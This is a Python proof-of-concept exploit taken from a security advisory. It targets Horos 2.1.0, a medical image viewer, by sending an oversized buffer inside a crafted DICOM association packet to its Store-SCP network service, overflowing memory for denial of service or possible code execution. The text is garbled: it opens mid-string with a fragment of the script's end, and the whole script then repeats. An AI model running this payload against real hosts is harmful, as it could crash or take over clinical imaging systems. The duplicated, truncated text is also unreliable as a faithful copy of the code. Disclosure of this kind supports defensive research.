         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

buffer = '\x41\x42\x43\x44' * 10000

if len(sys.argv) < 3:
  print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
  print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 11112\n'
  sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# Horos 2.1.0 DICOM Medical Image Viewer Remote Memory Overflow Vulnerability
#
#
# Vendor: Horos Project
# Product web page: https://www.horosproject.org
# Affected version: 2.1.0
#
# Summary: Horos is an open-source, free medical image viewer. The goal of the Horos Project is
# to develop a fully functional, 64-bit medical image viewer for OS X. Horos is based upon OsiriX
# and other open source medical imaging libraries.
#
# Desc: The vulnerability is caused due to the usage of vulnerable collection of libraries that
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote code execution
# and/or denial of service scenario.
#
# Tested on: OS X 10.12.2 (Sierra)
#            OS X 10.12.1 (Sierra)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5386
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5386.php
#
#
# 15.12.2016
#


import sys, socket

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

buffer = '\x41\x42\x43\x44' * 10000

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

if len(sys.argv) < 3:
  print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
  print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 11112\n'
  sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close